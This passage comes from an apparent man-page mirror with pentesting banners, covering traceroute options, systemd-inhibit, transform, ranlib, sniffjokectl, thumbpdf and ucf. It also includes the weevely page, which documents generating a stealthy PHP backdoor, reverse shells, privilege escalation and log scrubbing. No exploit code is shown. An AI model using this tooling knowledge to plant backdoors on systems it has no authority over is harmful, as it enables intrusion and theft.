Use value of num (or unchanged) for maxseg tcp header option (when syn), and discover its clamping along the path being traced. New changed mss is printed once in a form of M=NUM at the first probe on which it was detected. Note, some routers may return too short original fragment in the time exceeded message, making the check impossible. Besides that the responses may come in a different order. All this can lead to a later place of the report (using -N 1 can help for the order).

info
Print tcp flags and supported options of final tcp replies when the target host is reached. Allows to determine whether an application listens the port and other useful things. Supported tcp options are all that can be set by -T -O, ie. mss, sack, timestamps, window_scaling and fastopen, with the similar output format (a value for mss and just presence for others).

Default options is syn,sysctl.

tcpconn

An initial implementation of tcp method, simple using connect(2) call, which does full tcp session opening. Not recommended for normal use, because a destination application is always affected (and can be confused).

udp -U

Use udp datagram with constant destination port (default 53, dns).
Intended to bypass firewall as well.

Note, that unlike in tcp method, the correspond application on the destination host always receive our probes (with random data), and most can easily be confused by them. Most cases it will not respond to our packets though, so we will never see the final hop in the trace. (Fortunately, it seems that at least dns servers replies with something angry).

This method is allowed for unprivileged users.

udplite -UL

Use udplite datagram for probes (with constant destination port, default 53).

This method is allowed for unprivileged users.
Options:

coverage=num
Set udplite send coverage to num.

dccp -D

Use DCCP Request packets for probes (rfc4340).

This method uses the same “half-open technique” as used for TCP. The default destination port is 33434.

Options:

service=num
Set DCCP service code to num (default is 1885957735).

raw -P proto

Send raw packet of protocol proto.
No protocol-specific headers are used, just IP header only.
Implies -N 1 -w 5 .
Options:

protocol=proto
Use IP protocol proto (default 253).

NOTES

To speed up work, normally several probes are sent simultaneously. On the other hand, it creates a “storm of packages”, especially in the reply direction. Routers can throttle the rate of icmp responses, and some of replies can be lost. To avoid this, decrease the number of simultaneous probes, or even set it to 1 (like in initial traceroute implementation), i.e. -N 1

The final (target) host can drop some of the simultaneous probes, and might even answer only the latest ones. It can lead to extra “looks like expired” hops near the final hop. We use a smart algorithm to auto-detect such a situation, but if it cannot help in your case, just use -N 1 too.

For even greater stability you can slow down the program’s work by -z option, for example use -z 0.5 for half-second pause between probes.

To avoid an extra waiting, we use adaptive algorithm for timeouts (see -w option for more info). It can lead to premature expiry (especially when response times differ at times) and printing “*” instead of a time. In such a case, switch this algorithm off, by specifying -w with the desired timeout only (for example, -w 5).

If some hops report nothing for every method, the last chance to obtain something is to use ping -R command (IPv4, and for nearest 8 hops only).

SEE ALSO

ping(8), ping6(8), tcpdump(8), netstat(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1764 - Linux cli command systemd-inhibit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-inhibit and provides detailed information about the command systemd-inhibit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-inhibit.

NAME 🖥️ systemd-inhibit 🖥️

inhibit - Execute a program with an inhibition lock taken

SYNOPSIS

systemd-inhibit [OPTIONS…] [COMMAND] [ARGUMENTS…]

systemd-inhibit [OPTIONS…] [–list]

DESCRIPTION

systemd-inhibit may be used to execute a program with a shutdown, sleep, or idle inhibitor lock taken. The lock will be acquired before the specified command line is executed and released afterwards.

Inhibitor locks may be used to block or delay system sleep and shutdown requests from the user, as well as automatic idle handling of the OS. This is useful to avoid system suspends while an optical disc is being recorded, or similar operations that should not be interrupted.

For more information see Inhibitor Locks[1].

OPTIONS

The following options are understood:

–what=

Takes a colon-separated list of one or more operations to inhibit: “shutdown”, “sleep”, “idle”, “handle-power-key”, “handle-suspend-key”, “handle-hibernate-key”, “handle-lid-switch”, for inhibiting reboot/power-off/halt/kexec/soft-reboot, suspending/hibernating, the automatic idle detection, or the low-level handling of the power/sleep key and the lid switch, respectively. If omitted, defaults to “idle:sleep:shutdown”.

–who=

Takes a short, human-readable descriptive string for the program taking the lock. If not passed, defaults to the command line string.

–why=

Takes a short, human-readable descriptive string for the reason for taking the lock. Defaults to “Unknown reason”.

–mode=

Takes either “block” or “delay” and describes how the lock is applied. If “block” is used (the default), the lock prohibits any of the requested operations without time limit, and only privileged users may override it. If “delay” is used, the lock can only delay the requested operations for a limited time. If the time elapses, the lock is ignored and the operation executed. The time limit may be specified in logind.conf(5). Note that “delay” is only available for “sleep” and “shutdown”.

–list

Lists all active inhibition locks instead of acquiring one.

–no-pager

Do not pipe output into a pager.

–no-legend

Do not print the legend, i.e. column headers and the footer with hints.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

Returns the exit status of the executed program.

EXAMPLE

systemd-inhibit wodim foobar.iso

This burns the ISO image foobar.iso on a CD using wodim(1), and inhibits system sleeping, shutdown and idle while doing so.

ENVIRONMENT

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Note that the this information is attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

SEE ALSO

systemd(1), logind.conf(5)

NOTES

Inhibitor Locks

https://systemd.io/INHIBITOR_LOCKS

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1765 - Linux cli command transform

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command transform and provides detailed information about the command transform, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the transform.

NAME 🖥️ transform 🖥️

apply geometric transformations to the input.

SYNOPSIS

transform [ OPTIONS ] < file.gts

DESCRIPTION

This manual page documents briefly the transform command.

OPTIONS

This program follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

**-r ***ANGLE, ***–rx=**ANGLE
Rotate around x-axis (ANGLE in degrees).

**-m ***ANGLE, ***–ry=**ANGLE
Rotate around y-axis.

**-m ***ANGLE, ***–rz=**ANGLE
Rotate around z-axis.

**-s ***FACTOR, ***–scale=**FACTOR
Scale by FACTOR.

**-R ***FACTOR, ***–sx=**FACTOR
Scale x-axis by FACTOR.

**-M ***FACTOR, ***–sy=**FACTOR
Scale y-axis by FACTOR.

**-N ***FACTOR, ***–sz=**FACTOR
Scale z-axis by FACTOR.

**-t ***V, ***–tx=**V
Translate of V along x-axis.

**-u ***V, ***–ty=**V
Translate of V along y-axis.

**-w ***V, ***–tz=**V
Translate of V along z-axis.

-i, –revert
Turn surface inside out.

-o, –normalize
Fit the resulting surface in a cube of size 1 centered at the origin.

-v, –verbose
Print statistics about the surface.

-h, –help
Display the help and exit.

AUTHOR

transform was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1766 - Linux cli command weevely

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command weevely and provides detailed information about the command weevely, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the weevely.

NAME 🖥️ weevely 🖥️

Weaponized web shell

DESCRIPTION

A web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. Once connected you can make use of the more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network.

SYNOPSIS

Run terminal to the target
weevely <URL> <password> [cmd]

Generate backdoor agent
weevely generate <password> <path>

Load session file
weevely session <path>

Features

  • Shell access to the target

  • SQL console pivoting on the target

  • HTTP/HTTPS proxy to browse through the target

  • Upload and download files

  • Spawn reverse and direct TCP shells

  • Audit remote target security

  • Run Meterpreter payloads

  • Port scan pivoting on target

  • Mount the remote filesystem

  • Bruteforce SQL accounts pivoting on the target

Agent

The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.

Modules

ModuleDescription
:audit_filesystemAudit the file system for weak permissions.
:audit_suidsgidFind files with SUID or SGID flags.
:audit_disablefunctionbypassBypass disable_function restrictions with mod_cgi and .htaccess.
:audit_etcpasswdRead /etc/passwd with different techniques.
:audit_phpconfAudit PHP configuration.
:shell_shExecute shell commands.
:shell_suExecute commands with su.
:shell_phpExecute PHP commands.
:system_extensionsCollect PHP and webserver extension list.
:system_infoCollect system information.
:system_procsList running processes.
:backdoor_reversetcpExecute a reverse TCP shell.
:backdoor_tcpSpawn a shell on a TCP port.
:backdoor_meterpreterStart a meterpreter session.
:bruteforce_sqlBruteforce SQL database.
:file_gzipCompress or expand gzip files.
:file_clearlogRemove string from a file.
:file_checkGet attributes and permissions of a file.
:file_uploadUpload file to remote filesystem.
:file_webdownloadDownload an URL.
:file_tarCompress or expand tar archives.
:file_downloadDownload file from remote filesystem.
:file_bzip2Compress or expand bzip2 files.
:file_editEdit remote file on a local editor.
:file_grepPrint lines matching a pattern in multiple files.
:file_lsList directory content.
:file_cpCopy single file.
:file_rmRemove remote file.
:file_upload2webUpload file automatically to a web folder and get corresponding URL.
:file_zipCompress or expand zip files.
:file_touchChange file timestamp.
:file_findFind files with given names and attributes.
:file_mountMount remote filesystem using HTTPfs.
:file_enumCheck existence and permissions of a list of paths.
:file_readRead remote file from the remote filesystem.
:file_cdChange current working directory.
:sql_consoleExecute SQL query or run console.
:sql_dumpMulti dbms mysqldump replacement.
:net_mailSend mail.
:net_phpproxyInstall PHP proxy on the target.
:net_curlPerform a curl-like HTTP request.
:net_proxyRun local proxy to pivot HTTP/HTTPS browsing through the target.
:net_scanTCP Port scan.
:net_ifconfigGet network interfaces addresses.

SEE ALSO

https://github.com/epinna/weevely3/wiki

AUTHOR

weevely is developed by The Weevely Developers, this manpage was made by Emilio <epinna> and Samuel Henrique <[email protected]> based on weevely’s README.md and can be used by other projects as well.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1767 - Linux cli command ranlib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ranlib and provides detailed information about the command ranlib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ranlib.

NAME 🖥️ ranlib 🖥️

generate an index to an archive

SYNOPSIS

ranlib [–plugin name] [-DhHvVt] archive

DESCRIPTION

ranlib generates an index to the contents of an archive and stores it in the archive. The index lists each symbol defined by a member of an archive that is a relocatable object file.

You may use nm -s or nm –print-armap to list this index.

An archive with such an index speeds up linking to the library and allows routines in the library to call each other without regard to their placement in the archive.

The GNU ranlib program is another form of GNU ar; running ranlib is completely equivalent to executing ar -s.

OPTIONS

-h

-H

–help

Show usage information for ranlib.

-v

-V

–version

Show the version number of ranlib.

-D
Operate in deterministic mode. The symbol map archive member’s header will show zero for the UID, GID, and timestamp. When this option is used, multiple runs will produce identical output files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, described below.

-t
Update the timestamp of the symbol map of an archive.

-U
Do not operate in deterministic mode. This is the inverse of the -D option, above: the archive index will get actual UID, GID, timestamp, and file mode values. If binutils was configured without –enable-deterministic-archives, then this mode is on by default.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), nm (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1768 - Linux cli command sniffjokectl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sniffjokectl and provides detailed information about the command sniffjokectl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sniffjokectl.

NAME 🖥️ sniffjokectl 🖥️

SYNOPSIS

sniffjokectl [OPTION]… [COMMAND]

DESCRIPTION

sniffjokectl is the sniffjoke manager, controller, client, whaterver.

When sniffjoke is running, you should send commands as command line arguments

SNIFFJOKECTL OPTIONS

–address <ip>[:port] specify administration IP address [default: 127.0.0.1:8844]

–version show sniffjoke version

–timeout set milliseconds timeout when contacting SniffJoke service [default: 500]

–help show this help

SNIFFJOKECTL COMMANDS

start start sniffjoke hijacking/injection

stop stop sniffjoke (sniffjoke will work in passive mode, like in pause)

quit stop sniffjoke, save config, abort the service

saveconf dump config file

stat get statistics about sniffjoke configuration and network

info get massive info about sniffjoke internet stats

showport show TCP ports strongness of injection

debug [1-6] change the log debug level

Those commands are used and accepted only when sniffjoke is running and the “client instance” is listening and reachable in the UDP port.

When you start sniffjoke you could set your port rules and save the configuration with saveconf.

When you than restart sniffjoke, using the same –chroot-dir, the previous configurations are reloaded.

AUTHOR

Claudio Agosti <[email protected]>, Giovanni Pellerano <[email protected]>

REPORTING BUGS

Report bugs to <[email protected]>.

COPYRIGHT

Copyright (GPL) 2008,2009,2010,2011 Claudio Agosti & Giovanni Pellerano.
This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

http://www.delirandom.net/sniffjoke

sniffjoke(1) sniffjoke-autotest(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1769 - Linux cli command thumbpdf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command thumbpdf and provides detailed information about the command thumbpdf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the thumbpdf.

NAME 🖥️ thumbpdf 🖥️

generate thumbnail images for a PDF file created with pdftex

SYNOPSIS

thumbpdf [ OPTION… ] PDF_FILE

DESCRIPTION

thumbpdf is used to create thumbnail images of individual pages within a PDF (Portable Document Format) document.

USAGE

First run pdftex(1) on your document to create a PDF file. Then run thumbpdf to generate the thumbnails, a PDF file containing the thumbnails, and a pdfTeX file to include the thumbnails in the PDF file. Finally, run pdftex(1) on your file again to create the final PDF file.

thumbpdf calls gs(1) to generate PNG images of the pages within PDF_FILE, and pdftex(1) to create a PDF file containing the thumbnail images.

OPTIONS

–help
print usage

–(no)makepng
make PNG thumbnail images (default: true)

–(no)makepdf
generate new PDF file containing the thumbnails (default: true)

–(no)makedef
create a TeX file for pdftex(1) to read in (default: true)

–(no)quiet
suppress messages (default: false)

–(no)verbose
verbose messages (default: false)

–(no)debug
print debugging information while parsing (default: false)

–resolution res
resolution for GhostScript step (default: 9)

–compress n
\pdfcompresslevel for thumbpdf.pdf (0-9; default: 9)

–device | pngdev
GhostScript PNG device; dev = `mono’, `gray’, `16’, `256’, `16m’ (default: `png16m')

FILES

thumbnn.png
PNG thumbnail images

thumbpdf.pdf
PDF file containing thumbnail images

thumbpdf.tex
A pdfTeX program to include the thumbnails file

thumbpdf.log
pdfTeX log file

thumbpdf.sty
a LaTeX package to be included in files for which a user wants to generate thumbnails

SEE ALSO

gs(1), pdftex(1).

Web page: <https://ctan.org/pkg/thumbpdf/>

BUGS

Submit reports via the bug url on the CTAN package page.

COPYRIGHT

Copyright © 1999. thumbpdf is distributed under version 1, or (at your option) a later version of the LaTeX Project Public License.

AUTHOR

thumbpdf was written by Heiko Oberdiek.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1770 - Linux cli command ucf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ucf and provides detailed information about the command ucf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ucf.

NAME 🖥️ ucf 🖥️

Update Configuration File: preserve user changes in configuration files

SYNOPSIS

ucf [options] <New File> <Destination>

ucf [options] –purge <Destination>

DESCRIPTION

This utility provides a means of asking the user whether or not to accept new versions of configuration files provided by the package maintainer, with various heuristics designed to minimize interaction time. It uses debconf to interact with the user, as per Debian policy. In the SYNOPSIS above, New file is the configuration file as provided by the package (either shipped with the package, or generated by the maintainer scripts on the fly), and Destination is the location (usually under /etc) where the real configuration file lives, and is potentially modified by the end user. Since the files edited would be real files, and not symbolic links, ucf follows and resolves symbolic links before acting. As far as possible, ucf attempts to preserve the ownership and permission of the New file as it is copied to the new location.

This script attempts to provide conffile like handling for files installed under /etc not shipped in a Debian package, but handled by the postinst instead. Debian policy states that files under /etc which are configuration files must preserve user changes, and this applies to files handled by maintainer scripts as well. Using ucf, one may ship a bunch of default configuration files somewhere in /usr ( /usr/share/<pkg> is a good location), and maintain files in /etc, preserving user changes and in general offering the same facilities while upgrading that dpkg normally provides for “conffiles”

Additionally, this script provides facilities for transitioning a file that had not been provided conffile like protection to come under this schema, and attempts to minimize questions asked at install time. Indeed, the transitioning facility is better than the one offered by dpkg while transitioning a file from a non-conffile to conffile status. The second form in the SYNOPSIS above is for purging information about the configuration file when the package is purged; and is critical for allowing smooth reinstallations.

During the course of operations, when working with configuration files, ucf optionally creates copies of versions of the configuration file in question. For example, a file with the suffix ucf-old holds the old version of a configuration file replaced by ucf. Also, copies of the configuration file with the suffixes ucf-new and ucf-dist may be created; and the maintainer scripts should consider purging copies of the configuration file with these extensions during purge.

OPTIONS

-h, –help
Print a short usage message

-n, –no-action
Dry run. Print the actions that would be taken if the script is invoked, but take no action.

-d[n], –debug=[n]
Set the debug level to the (optional) level n (n defaults to 1). Please note there must be no spaces before the optional digit n. This turns on copious debugging information.

-p, –purge
Removes all vestiges of the file from the state hashfile. This is required to allow a package to be reinstalled after it is purged; since otherwise, the real configuration file is removed, but it remains in the hash file; and on reinstall no action is taken, since the md5sum of the new file matches that in the hashfile. In short, remember to use this option in the postrm for every configuration file managed by ucf when the package is being purged (assuming ucf itself exists). Note: ucf does not actually touch the file on disk in this operation, so any file removals are still the responsibility of the calling package.

-v, –verbose
Make the script be very verbose about setting internal variables.

-P foo, –package foo
Don’t follow dpkg-divert diversions by package foo when updating configuration files.

-s foo, –src-dir foo
Set the source directory (historical md5sums are expected to live in files and sub directories of this directory) to foo. By default, the directory the new_file lives in is assumed to be the source directory. Setting this option overrides settings in the environment variable UCF_SOURCE_DIR, and in the configuration file variable conf_source_dir.

–sum-file foo
Force the historical md5sums to be read from this file, rather than defaulting to living in the source directory. Setting this option overrides settings in the environment variable UCF_OLD_MDSUM_FILE, and in the configuration file variable conf_old_mdsum_file.

–three-way
